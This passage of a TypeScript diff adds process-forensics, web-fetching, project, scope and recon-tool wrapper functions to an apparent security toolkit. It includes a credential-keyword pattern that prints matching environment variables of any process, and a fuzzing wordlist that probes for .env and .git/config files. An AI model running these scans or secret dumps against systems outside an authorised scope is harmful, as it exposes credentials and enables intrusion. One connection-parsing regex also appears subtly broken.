${ioc}`)); + if (iocs.length > 20) lines.push(` ... and ${iocs.length - 20} more`); + lines.push(``); + } + } + + // Dedup all IOCs for summary + if (totalIocs === 0) lines.push("(no IOCs found)"); + + return lines.join("\n"); + } catch (e: any) { + return `[IOC Error] ${e.message}`; + } +} + +// ── PROCESS FORENSICS ───────────────────────────────────── +async function procAnalyze(input: string): Promise { + try { + const pid = parseInt(input.trim()); + if (isNaN(pid)) return `[ProcAnalyze] Usage: proc_analyze|PID\nExample: @proc_analyze|1234`; + const procDir = `/proc/${pid}`; + if (!existsSync(procDir)) return `[ProcAnalyze] Process ${pid} not found`; + + const lines: string[] = [ + `🔍 Process Analysis: PID ${pid}`, + `━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━`, + ]; + + // ── Basic Info ── + try { + const status = readFileSync(`${procDir}/status`, "utf-8"); + const name = status.match(/Name:\s*(.+)/)?.[1] || "?"; + const state = status.match(/State:\s*(.+)/)?.[1] || "?"; + const ppid = status.match(/PPid:\s*(.+)/)?.[1] || "?"; + const uid = status.match(/Uid:\s*(.+)/)?.[1] || "?"; + const threads = status.match(/Threads:\s*(.+)/)?.[1] || "?"; + const vmRSS = status.match(/VmRSS:\s*(.+)/)?.[1] || "?"; + const vmSize = status.match(/VmSize:\s*(.+)/)?.[1] || "?"; + lines.push(` Name: ${name}`); + lines.push(` State: ${state}`); + lines.push(` PPID: ${ppid}`); + lines.push(` UID: ${uid}`); + lines.push(` Threads: ${threads}`); + lines.push(` RSS: ${vmRSS}`); + lines.push(` VM: ${vmSize}`); + } catch {} + + // ── Command Line ── + try { + const cmdline = readFileSync(`${procDir}/cmdline`, "utf-8").replace(/\0/g, " "); + if (cmdline.trim()) lines.push(` Cmdline: ${cmdline.substring(0, 500)}`); + } catch {} + + // ── CWD ── + try { + const cwd = execSync(`readlink -f ${procDir}/cwd 2>/dev/null`, { encoding: "utf-8", timeout: 3000 }).trim(); + if (cwd) lines.push(` CWD: ${cwd}`); + } catch {} + try { + const exe = execSync(`readlink -f ${procDir}/exe 2>/dev/null`, { encoding: "utf-8", timeout: 3000 }).trim(); + if (exe) lines.push(` Exe: ${exe}`); + } catch {} + + // ── Environment ── + try { + const env = readFileSync(`${procDir}/environ`, "utf-8").replace(/\0/g, "\n").trim(); + const envLines = env.split("\n").filter(Boolean); + const sensitive = envLines.filter(e => + /key|secret|token|pass|cert|credential|api_key|auth/i.test(e) + ); + lines.push(` Env vars: ${envLines.length} total`); + if (sensitive.length) { + lines.push(` ⚠ Sensitive env vars (${sensitive.length}):`); + sensitive.forEach(s => lines.push(` ⚠ ${s.substring(0, 120)}`)); + } + } catch {} + + // ── Open File Descriptors ── + try { + const fds = readdirSync(`${procDir}/fd`); + const sockets: string[] = []; + const pipes: string[] = []; + const regFiles: string[] = []; + for (const fd of fds) { + try { + const link = execSync(`readlink ${procDir}/fd/${fd} 2>/dev/null`, { encoding: "utf-8", timeout: 2000 }).trim(); + if (link.includes("socket:")) sockets.push(link); + else if (link.includes("pipe:")) pipes.push(link); + else if (link) regFiles.push(link); + } catch {} + } + lines.push(` Open FDs: ${fds.length} (${sockets.length} sockets, ${pipes.length} pipes, ${regFiles.length} files)`); + if (sockets.length) lines.push(...sockets.slice(0, 10).map(s => ` 🔌 ${s}`)); + if (regFiles.length) lines.push(...regFiles.slice(0, 8).map(f => ` 📄 ${f}`)); + } catch {} + + // ── Network Connections ── + try { + for (const proto of ["tcp", "tcp6", "udp", "udp6"]) { + const netPath = `${procDir}/net/${proto}`; + if (existsSync(netPath)) { + const content = readFileSync(netPath, "utf-8"); + const conns = content.split("\n").slice(1).filter(Boolean); + if (conns.length) { + lines.push(` Net/${proto}: ${conns.length} connection(s)`); + for (const conn of conns.slice(0, 8)) { + const parts2 = conn.trim().split(/\\s+/); + if (parts2.length >= 4) { + const localHex = parts2[1]?.split(":")?.[0] || "?"; + const localPort = parseInt(parts2[1]?.split(":")?.[1] || "0", 16); + const remHex = parts2[2]?.split(":")?.[0] || "?"; + const remPort = parseInt(parts2[2]?.split(":")?.[1] || "0", 16); + const state = parts2[3] || "?"; + const stateNames: Record = { "01":"ESTAB","02":"SYN_SENT","03":"SYN_RECV","04":"FIN_WAIT","05":"TIMEWAIT","06":"CLOSE","07":"CLOSE_WAIT","0A":"LISTEN","0B":"CLOSING"}; + const stateName = stateNames[state] || state; + lines.push(` ${localHex}:${localPort} → ${remHex}:${remPort} [${stateName}]`); + } + } + } + } + } + } catch {} + + // ── Memory Maps ── + try { + const maps = readFileSync(`${procDir}/maps`, "utf-8"); + const mapLines = maps.split("\n").filter(Boolean); + lines.push(` Memory maps: ${mapLines.length} regions`); + + // Check for suspicious mappings (rwx) + const rwxMaps = mapLines.filter(l => l.includes("rwx")); + if (rwxMaps.length) { + lines.push(` ⚠ RWX memory regions (${rwxMaps.length}):`); + rwxMaps.slice(0, 5).forEach(m => lines.push(` ⚠ ${m.substring(0, 120)}`)); + } + } catch {} + + return lines.join("\n"); + } catch (e: any) { + return `[ProcAnalyze Error] ${e.message}`; + } +} + +// ── WEB CLICKERS ────────────────────────────────────────── + +async function webClick(input: string): Promise { + try { + const parts = input.split("|").map(s=>s.trim()); + const url = parts[0]; + if (!url) return `[Web Click] Usage: url|selector|method. method: index (click Nth link), text (by link text), selector (URL)`; + const r = await fetch(url, {signal: AbortSignal.timeout(15000)}); + const html = await r.text(); + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; + const clean = links.map(([,h,t]:any)=>[h,t.replace(/<[^>]+>/g,"").trim()]).filter(([h]:any)=>h&&!h.startsWith("#")&&!h.startsWith("javascript:")); + const selector = parts[1]||"0"; const method = parts[2]||"index"; + if (method==="index") { + const idx = parseInt(selector)||0; + if (idx<0||idx>=clean.length) return `[Web Click] Index ${idx} out of range (0-${clean.length-1})`; + const [href,text] = clean[idx]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; + const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + return [`🌐 Web Click: ${url}`,`Title: ${title}`,`Click [${idx}]: ${text||href} → ${fullUrl}`,`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`].join("\n"); + } else if (method==="text") { + const m = clean.filter(([,t]:any)=>t.toLowerCase().includes(selector.toLowerCase())); + if (!m.length) return `[Web Click] No links with text: "${selector}"`; + const [href,text] = m[0]; const fullUrl = href.startsWith("http")?href:new URL(href,url).href; + const r2 = await fetch(fullUrl,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + return [`🌐 Web Click: ${url}`,`Title: ${title}`,`Click "${text}" → ${fullUrl}`,`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`].join("\n"); + } else { + const r2 = await fetch(selector,{signal:AbortSignal.timeout(15000)}); const h2 = await r2.text(); + const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + return [`🌐 Web Click: ${url} → ${selector}`,`→ Title: ${t2}`,`→ Content: ${body.substring(0,2000)}`].join("\n"); + } + } catch(e: any) { return `[Web Click Error] ${e.message}`; } +} + +async function webLinks(url: string): Promise { + try { + if (!url) return `[Web Links] Usage: url`; + const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); + const base = (html.match(/]*href=["']([^"']+)/i)||[])[1]||url; + const links = [...html.matchAll(/]*href=["']([^"']+)["'][^>]*>([\s\S]*?)<\/a>/gi)]; + const imgs = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; + const scripts = [...html.matchAll(/]*src=["']([^"']+)["'][^>]*>/gi)]; + const res = (l:string)=>l.startsWith("http")?l:l.startsWith("//")?"https:"+l:new URL(l,base).href; + const all = links.map(([,h,t]:any)=>[res(h),t.replace(/<[^>]+>/g,"").trim()]).filter(([h]:any)=>h); + const internal = all.filter(([h]:any)=>h.startsWith(url.replace(/\/$/,""))); + const external = all.filter(([h]:any)=>!h.startsWith(url.replace(/\/$/,""))); + const resources = [...imgs.map(m=>res(m[1])),...scripts.map(m=>res(m[1]))].filter(Boolean); + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + return [`🔗 Web Links: ${url}`,`Title: ${title}`, + `\nLinks: ${all.length} (int=${internal.length}, ext=${external.length})`, + internal.length?`\nInternal:\n${internal.slice(0,20).map(([h,t]:any)=>` · ${t||h}`).join("\n")}`:"", + external.length?`\nExternal:\n${external.slice(0,20).map(([h,t]:any)=>` · ${t||h}`).join("\n")}`:"", + resources.length?`\n📦 Resources:\n${resources.slice(0,15).join("\n")}`:"", + ].filter(Boolean).join("\n"); + } catch(e: any) { return `[Web Links Error] ${e.message}`; } +} + +async function webForm(input: string): Promise { + try { + const parts = input.split("|").map(s=>s.trim()); const url = parts[0]; + if (!url) return `[Web Form] Usage: url|field1=val1`; + const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); + const forms = [...html.matchAll(/]*action=["']([^"']*)["'][^>]*(?:method=["']([^"']*)["'])?[^>]*>([\s\S]*?)<\/form>/gi)]; + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + if (!forms.length) return `📋 Web Form: ${url}\nTitle: ${title}\n(no forms found)`; + const res = [`📋 Web Form: ${url}`,`Title: ${title}`,`Forms: ${forms.length}`]; + for (const [action,method,inner] of forms) { + const fields = [...inner.matchAll(/]*name=["']([^"']+)["'][^>]*(?:value=["']([^"']*)["'])?[^>]*>/gi)]; + res.push(`\nForm: "${action||url}" ${(method||"GET").toUpperCase()}`); + fields.forEach(([,n,v]:any)=>res.push(` ${n}=${v||""}`)); + const userFields = parts.slice(1).filter(p=>p.includes("=")); + if (userFields.length>0) { + const params = new URLSearchParams(); userFields.forEach(p=>{const[k,v]=p.split("=",2);if(k)params.set(k,v||"")}); + const isPost = (method||"GET").toUpperCase()==="POST"; + const submitUrl = isPost?url:`${action||url}?${params.toString()}`; + const r2 = await fetch(submitUrl,{method:isPost?"POST":"GET",body:isPost?params:undefined,headers:isPost?{"Content-Type":"application/x-www-form-urlencoded"}:{},signal:AbortSignal.timeout(15000)}); + const h2 = await r2.text(); const t2 = (h2.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const body = h2.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + res.push(`→ ${r2.status} ${t2} ${body.substring(0,1000)}`); + } + } + return res.join("\n"); + } catch(e: any) { return `[Web Form Error] ${e.message}`; } +} + +async function webSnapshot(url: string): Promise { + try { + if (!url) return `[Web Snapshot] Usage: url`; + const r = await fetch(url,{signal:AbortSignal.timeout(15000)}); const html = await r.text(); + const title = (html.match(/]*>([^<]+)<\/title>/i)||[])[1]||""; + const h1 = [...html.matchAll(/]*>([\s\S]*?)<\/h1>/gi)].map(m=>m[1].replace(/<[^>]+>/g,"").trim()); + const bodyText = html.replace(/]*>[\s\S]*?<\/script>/gi,"").replace(/]*>[\s\S]*?<\/style>/gi,"").replace(/<[^>]+>/g," ").replace(/\s+/g," ").trim(); + return `📸 Web Snapshot: ${url}\nTitle: ${title}\nH1: ${h1.slice(0,5).join(" | ")}\n\nPreview:\n${bodyText.substring(0,3000)}`; + } catch(e: any) { return `[Web Snapshot Error] ${e.message}`; } +} + +// ── WORKSPACE (Project Management) ───────────────────────── + +async function projectCreate(name: string): Promise { + if (!name) return `[Project] Usage: project_create `; + try { + const {mkdirSync,writeFileSync,existsSync} = await import("fs"); + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects/${name.replace(/[^a-z0-9_-]/gi,"_")}`; + if (existsSync(dir)) return `[Project] "${name}" exists.`; + mkdirSync(dir,{recursive:true}); + writeFileSync(`${dir}/project.json`,JSON.stringify({name,created:new Date().toISOString(),updated:new Date().toISOString(),files:[],notes:[],toolCount:0},null,2)); + return `✅ Project "${name}" created.\n ${dir}/`; + } catch(e: any) { return `[Project Error] ${e.message}`; } +} + +async function projectList(): Promise { + try { + const {readdirSync,existsSync,readFileSync} = await import("fs"); + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects`; + if (!existsSync(dir)) return `[Projects] None yet.`; + const dirs = readdirSync(dir,{withFileTypes:true}).filter(d=>d.isDirectory()).map(d=>d.name); + if (!dirs.length) return `[Projects] None yet.`; + const lines = [`📁 PROJECTS (${dirs.length})`]; + for (const d of dirs.sort()) { + try { + const m = JSON.parse(readFileSync(`${dir}/${d}/project.json`,"utf-8")); + lines.push(` ${d} ${m.files?.length||0} files · ${m.notes?.length||0} notes · ${Math.floor((Date.now()-new Date(m.created).getTime())/86400000)}d`); + } catch { lines.push(` ${d}`); } + } + return lines.join("\n"); + } catch(e: any) { return `[Projects Error] ${e.message}`; } +} + +async function projectInfo(name: string): Promise { + try { + const {readFileSync,existsSync,readdirSync} = await import("fs"); + if (!name) return `[Project] Usage: project_info `; + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects/${name.replace(/[^a-z0-9_-]/gi,"_")}`; + if (!existsSync(dir)) return `[Project] "${name}" not found.`; + const meta = JSON.parse(readFileSync(`${dir}/project.json`,"utf-8")); + const files = existsSync(`${dir}/files`)?readdirSync(`${dir}/files`):[]; + const lines = [`📁 Project: ${meta.name||name}`,` Created: ${new Date(meta.created).toLocaleString()}`,` Files: ${files.length}`]; + if (meta.notes?.length) meta.notes.slice(-5).forEach((n:string,i:number)=>lines.push(` Note ${i+1}: ${n.substring(0,120)}`)); + return lines.join("\n"); + } catch(e: any) { return `[Project Error] ${e.message}`; } +} + +async function projectFileAdd(input: string): Promise { + try { + const {existsSync,copyFileSync,mkdirSync,readFileSync,writeFileSync} = await import("fs"); + const [name,filePath] = input.split("|").map(s=>s.trim()); + if (!name||!filePath) return `[Project File] Usage: project_file_add |`; + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects/${name.replace(/[^a-z0-9_-]/gi,"_")}`; + if (!existsSync(dir)) return `[Project File] Not found: "${name}"`; + const meta = JSON.parse(readFileSync(`${dir}/project.json`,"utf-8")); + if (!existsSync(`${dir}/files`)) mkdirSync(`${dir}/files`,{recursive:true}); + const base = filePath.split("/").pop()||filePath; + copyFileSync(filePath,`${dir}/files/${base}`); + meta.files = meta.files||[]; meta.files.push({name:base,source:filePath,added:new Date().toISOString()}); + meta.updated = new Date().toISOString(); + writeFileSync(`${dir}/project.json`,JSON.stringify(meta,null,2)); + return `✅ Added ${base} to "${name}".`; + } catch(e: any) { return `[Project File Error] ${e.message}`; } +} + +async function projectNote(input: string): Promise { + try { + const {existsSync,readFileSync,writeFileSync} = await import("fs"); + const parts = input.split("|").map(s=>s.trim()); const name = parts[0]; const note = parts.slice(1).join("|").trim(); + if (!name) return `[Project Note] Usage: project_note |`; + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects/${name.replace(/[^a-z0-9_-]/gi,"_")}`; + if (!existsSync(dir)) return `[Project Note] Not found: "${name}"`; + const meta = JSON.parse(readFileSync(`${dir}/project.json`,"utf-8")); + if (!note) { return `📝 Notes: ${(meta.notes||[]).map((n:string,i:number)=>`\n ${i+1}. ${n.substring(0,200)}`).join("")||"(none)"}`; } + meta.notes = meta.notes||[]; meta.notes.push(`[${new Date().toISOString().substring(0,10)}] ${note}`); + writeFileSync(`${dir}/project.json`,JSON.stringify(meta,null,2)); + return `✅ Note added to "${name}".`; + } catch(e: any) { return `[Project Note Error] ${e.message}`; } +} + +async function projectSwitch(name: string): Promise { + if (!name) return `[Project] Usage: project_switch `; + try { + const {existsSync,readFileSync,writeFileSync} = await import("fs"); + const dir = `${process.env.HOME||"/root"}/.config/phantom/projects/${name.replace(/[^a-z0-9_-]/gi,"_")}`; + if (!existsSync(dir)) return `[Project] "${name}" not found.`; + const meta = JSON.parse(readFileSync(`${dir}/project.json`,"utf-8")); + writeFileSync(`${process.env.HOME||"/root"}/.config/phantom/projects/.active`,name.replace(/[^a-z0-9_-]/gi,"_")); + return `🔀 Active: ${meta.name||name} (${meta.files?.length||0} files, ${meta.notes?.length||0} notes)`; + } catch(e: any) { return `[Project Error] ${e.message}`; } +} + +async function scope(input: string): Promise { + const SCOPE_FILE = `${process.env.HOME||"/root"}/.config/phantom/scope.json`; + const {existsSync,readFileSync,writeFileSync,mkdirSync} = await import("fs"); + const dir = `${process.env.HOME||"/root"}/.config/phantom`; + if (!existsSync(dir)) mkdirSync(dir,{recursive:true}); + function load() { try { return existsSync(SCOPE_FILE)?JSON.parse(readFileSync(SCOPE_FILE,"utf-8")):[]; } catch { return []; } } + function save(s: string[]) { writeFileSync(SCOPE_FILE,JSON.stringify(s,null,2)); } + if (!input||!input.trim()) { const s=load(); return s.length?`🎯 SCOPE (${s.length})\n${s.map((t:string,i:number)=>` ${i+1}. ${t}`).join("\n")}`:`🎯 Scope: (empty) — use "scope add "`; } + const parts = input.split(/\s+/).map(s=>s.trim()); const cmd = parts[0].toLowerCase(); + if (cmd==="add") { if(!parts[1])return `[Scope] Usage: scope add `; const s=load(),t=parts.slice(1).join(" "); if(s.includes(t))return`[Scope] "${t}" already in scope.`; s.push(t);save(s);return`✅ Added: ${t} (${s.length} total)`; } + if (cmd==="remove"||cmd==="rm") { if(!parts[1])return`[Scope] Usage: scope remove `; const s=load();const idx=parseInt(parts[1]);if(!isNaN(idx)&&idx>0&&idx<=s.length){const r=s.splice(idx-1,1);save(s);return`❌ Removed: ${r[0]}`;}const t=parts.slice(1).join(" ");const i=s.indexOf(t);if(i===-1)return`[Scope] "${t}" not in scope.`;s.splice(i,1);save(s);return`❌ Removed: ${t}`; } + if (cmd==="check") { if(!parts[1])return`[Scope] Usage: scope check `; const s=load(),t=parts.slice(1).join(" ").toLowerCase();const f=s.filter((x:string)=>t.includes(x.toLowerCase())||x.toLowerCase().includes(t));return f.length?`✅ "${parts.slice(1).join(" ")}" matches: ${f.join(", ")}`:`⚠️ "${parts.slice(1).join(" ")}" NOT in scope`; } + if (cmd==="clear") { save([]);return`🗑️ Scope cleared`; } + if (cmd==="export") { const s=load();return s.length?s.join("\n"):"(empty)"; } + return `[Scope] Commands: add , remove , check , clear, export.`; +} + +async function katana(input: string): Promise { + if (!input || !input.trim()) return `[katana] Usage: @katana| [options]`; + try { + const { execFileSync } = await import("child_process"); + const parts = input.trim().split(/\s+/); + const url = parts[0]; const extra = parts.slice(1); + try { execFileSync("which",["katana"],{encoding:"utf-8",timeout:5000}); } catch { return `[katana] NOT INSTALLED`; } + const out = execFileSync("katana", ["-u",url,"-silent","-o","/dev/stdout",...extra], {encoding:"utf-8",timeout:60000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[katana] 0 URLs for ${url}`; + const unique = [...new Set(lines)]; + const result = [`🔎 Katana Crawl: ${url}`, `URLs: ${unique.length}`]; + const display = unique.slice(0, 50); + result.push(...display.map((u:string)=>` ${u}`)); + if (unique.length > 50) result.push(` ... and ${unique.length - 50} more`); + return result.join("\n"); + } catch(e: any) { return `[katana Error] ${e.message}`; } +} + +async function subfinder(input: string): Promise { + if (!input || !input.trim()) return `[subfinder] Usage: @subfinder| [options]`; + try { + const { execFileSync } = await import("child_process"); + const parts = input.trim().split(/\s+/); + const domain = parts[0]; const extra = parts.slice(1); + try { execFileSync("which",["subfinder"],{encoding:"utf-8",timeout:5000}); } catch { return `[subfinder] NOT INSTALLED`; } + const out = execFileSync("subfinder", ["-d",domain,"-oJ",...extra], {encoding:"utf-8",timeout:120000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[subfinder] 0 subs for ${domain}`; + const subs = lines.map((l:string)=>{ try{return JSON.parse(l).host||l;}catch{return l;} }); + const unique = [...new Set(subs)].sort(); + const result = [`🔎 Subfinder: ${domain}`, `Subdomains: ${unique.length}`]; + const display = unique.slice(0, 100); + result.push(...display.map((s:string)=>` ${s}`)); + if (unique.length > 100) result.push(` ... and ${unique.length - 100} more`); + return result.join("\n"); + } catch(e: any) { return `[subfinder Error] ${e.message}`; } +} + +async function ffuf(input: string): Promise { + if (!input || !input.trim()) return `[ffuf] Usage: @ffuf|-u URL -w wordlist [options]`; + try { + const { execFileSync } = await import("child_process"); + const parts = input.trim().split(/\s+/); + try { execFileSync("which",["ffuf"],{encoding:"utf-8",timeout:5000}); } catch { return `[ffuf] NOT INSTALLED`; } + const WORDLISTS: Record = { + common:"admin,backup,config,...", admin:"admin,administrator,...", backup:".git/config,.env,...", + params:"id,page,file,...", php:"index.php,config.php,...", asp:"default.asp,...", jsp:"index.jsp,...", + }; + const args = parts; + const wIdx = args.indexOf("-w"); + if (wIdx >= 0 && wIdx + 1 < args.length && WORDLISTS[args[wIdx+1].toLowerCase()]) { + args[wIdx+1] = WORDLISTS[args[wIdx+1].toLowerCase()]; + args.push("-fc","404"); + } + if (!args.includes("-o")) args.push("-o","/dev/stdout","-of","json"); + args.push("-s"); + const out = execFileSync("ffuf", args, {encoding:"utf-8",timeout:120000,maxBuffer:2*1024*1024}); + const parsed = JSON.parse(out); + const results = parsed.results || []; + if (!results.length) return `[ffuf] No results`; + const lines = [`⚡ FFUF — ${results[0]?.input?.FUZZ||""}`, `Results: ${parsed.total||results.length} | ${((parsed.time||0)/1000).toFixed(1)}s`]; + const byStatus: Record = {}; + for (const r of results) { + const sc = (r.status||0).toString(); + if (!byStatus[sc]) byStatus[sc] = []; + if (byStatus[sc].length < 15) byStatus[sc].push(r); + } + for (const [sc,items] of Object.entries(byStatus).sort((a,b)=>parseInt(a[0])-parseInt(b[0]))) { + lines.push(`\n ${sc} (${items.length}+):`); + for (const r of items) { + const len = r.content_length ? ` [${(r.content_length/1024).toFixed(1)}K]` : ""; + const redir = r.redirect ? ` → ${r.redirect}` : ""; + lines.push(` ${r.input?.FUZZ||r.url?.slice(0,80)||""}${len}${redir}`); + } + } + return lines.join("\n"); + } catch(e: any) { return `[ffuf Error] ${e.message}`; } +} + +async function httpx(input: string): Promise { + if (!input || !input.trim()) return `[httpx] Usage: @httpx| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["httpx"],{encoding:"utf-8",timeout:5000}); } catch { return `[httpx] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const result = execFileSync("httpx", ["-l","/dev/stdin",...extra,"-o","/dev/stdout"], {input:target,encoding:"utf-8",timeout:60000,maxBuffer:1024*1024}); + const lines = result.trim().split("\n").filter(Boolean); + if (!lines.length) return `[httpx] No alive for ${target}`; + return [`🔎 Httpx: ${target}`,`Alive: ${lines.length}`,...lines.slice(0,50).map(l=>` ${l}`),...(lines.length>50?[` ... and ${lines.length-50} more`]:[])].join("\n"); + } catch(e: any) { return `[httpx Error] ${e.message}`; } +} + +async function nuclei(input: string): Promise { + if (!input || !input.trim()) return `[nuclei] Usage: @nuclei| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["nuclei"],{encoding:"utf-8",timeout:5000}); } catch { return `[nuclei] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + try { execFileSync("nuclei",["-ut","-silent"],{encoding:"utf-8",timeout:30000}); } catch {} + const out = execFileSync("nuclei", ["-u",target,"-o","/dev/stdout","-silent",...extra], {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[nuclei] No findings for ${target}`; + const result = [`🔬 Nuclei: ${target}`, `Findings: ${lines.length}`]; + result.push(...lines.slice(0,100).map(l=>` ${l}`)); + if (lines.length > 100) result.push(` ... and ${lines.length-100} more`); + return result.join("\n"); + } catch(e: any) { return `[nuclei Error] ${e.message}`; } +} + +async function amass(input: string): Promise { + if (!input || !input.trim()) return `[amass] Usage: @amass| [mode] [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["amass"],{encoding:"utf-8",timeout:5000}); } catch { return `[amass] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const domain = parts[0]; + const mode = parts.length>1&&["enum","intel","db"].includes(parts[1])?parts[1]:"enum"; + const extra = mode==="enum"?parts.slice(1).filter((_,i)=>i!==0&&parts[i]!==mode):parts.slice(2); + const args = mode==="enum"?["enum","-d",domain,"-json","/dev/stdout","-silent",...extra] + : mode==="intel"?["intel","-d",domain,"-json","/dev/stdout","-silent",...extra] + : ["db","-d",domain,"-json","/dev/stdout","-silent",...extra]; + const out = execFileSync("amass", args, {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[amass] 0 results for ${domain}`; + const names = lines.map(l=>{try{return JSON.parse(l).name||l}catch{return l}}).filter(Boolean); + const unique = [...new Set(names)].sort(); + const result = [`🔎 Amass ${mode}: ${domain}`, `Results: ${unique.length}`]; + result.push(...unique.slice(0,100).map(s=>` ${s}`)); + if (unique.length>100) result.push(` ... and ${unique.length-100} more`); + return result.join("\n"); + } catch(e: any) { return `[amass Error] ${e.message}`; } +} + +async function gau(input: string): Promise { + if (!input || !input.trim()) return `[gau] Usage: @gau| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["gau"],{encoding:"utf-8",timeout:5000}); } catch { return `[gau] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const domain = parts[0].replace(/^https?:\/\//,"").replace(/\/.*$/,""); + const extra = parts.slice(1); + const out = execFileSync("gau", ["--o","/dev/stdout",domain,...extra], {encoding:"utf-8",timeout:120000,maxBuffer:5*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[gau] 0 URLs for ${domain}`; + const unique = [...new Set(lines)]; + const result = [`🔎 Gau: ${domain}`, `URLs: ${unique.length}`]; + result.push(...unique.slice(0,80).map(u=>` ${u}`)); + if (unique.length>80) result.push(` ... and ${unique.length-80} more`); + return result.join("\n"); + } catch(e: any) { return `[gau Error] ${e.message}`; } +} + +async function dnsx(input: string): Promise { + if (!input || !input.trim()) return `[dnsx] Usage: @dnsx| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["dnsx"],{encoding:"utf-8",timeout:5000}); } catch { return `[dnsx] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const target = parts[0]; const extra = parts.slice(1); + const out = execFileSync("dnsx", ["-d",target,"-o","/dev/stdout",...extra], {encoding:"utf-8",timeout:60000,maxBuffer:1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[dnsx] 0 records for ${target}`; + return [`🔎 Dnsx: ${target}`, `Records: ${lines.length}`,...lines.slice(0,50).map(l=>` ${l}`)].join("\n"); + } catch(e: any) { return `[dnsx Error] ${e.message}`; } +} + +async function gitleaks(input: string): Promise { + if (!input || !input.trim()) return `[gitleaks] Usage: @gitleaks| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["gitleaks"],{encoding:"utf-8",timeout:5000}); } catch { return `[gitleaks] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const path = parts[0]; const extra = parts.slice(1); + const out = execFileSync("gitleaks", ["detect","--source",path,"-v","--no-color",...extra], {encoding:"utf-8",timeout:180000,maxBuffer:2*1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[gitleaks] 0 secrets in ${path}`; + const result = [`🔐 Gitleaks: ${path}`, `Findings: ${lines.length}`]; + result.push(...lines.slice(0,50).map(l=>` ${l}`)); + if (lines.length>50) result.push(` ... and ${lines.length-50} more`); + return result.join("\n"); + } catch(e: any) { return `[gitleaks Error] ${e.message}`; } +} + +async function s3scanner(input: string): Promise { + if (!input || !input.trim()) return `[s3scanner] Usage: @s3scanner| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["s3scanner"],{encoding:"utf-8",timeout:5000}); } catch { return `[s3scanner] NOT INSTALLED`; } + const parts = input.trim().split(/\s+/); + const cmd = parts[0]; const extra = parts.slice(1); + const out = execFileSync("s3scanner", [cmd,...extra], {encoding:"utf-8",timeout:120000,maxBuffer:1024*1024}); + const lines = out.trim().split("\n").filter(Boolean); + if (!lines.length) return `[s3scanner] 0 buckets`; + const result = [`🔎 S3 Scanner: ${cmd}`, `Results: ${lines.length}`]; + result.push(...lines.slice(0,50).map(l=>` ${l}`)); + if (lines.length>50) result.push(` ... and ${lines.length-50} more`); + return result.join("\n"); + } catch(e: any) { return `[s3scanner Error] ${e.message}`; } +} + +async function gobuster(input: string): Promise { + if (!input || !input.trim()) return `[gobuster] Usage: @gobuster|| [options]`; + try { + const { execFileSync } = await import("child_process"); + try { execFileSync("which",["gobuster"],{encoding:"utf-8",timeout:5000}); } catch { return `[gobuster] NOT INSTALLED`; } + const parts = input.trim().split("|").map(s=>s.trim()); + if (parts.length<2) return `[gobuster] Usage: @gobuster||`; + const mode = parts[0].toLowerCase(); + const rest = parts.slice(1).join(" "); + const 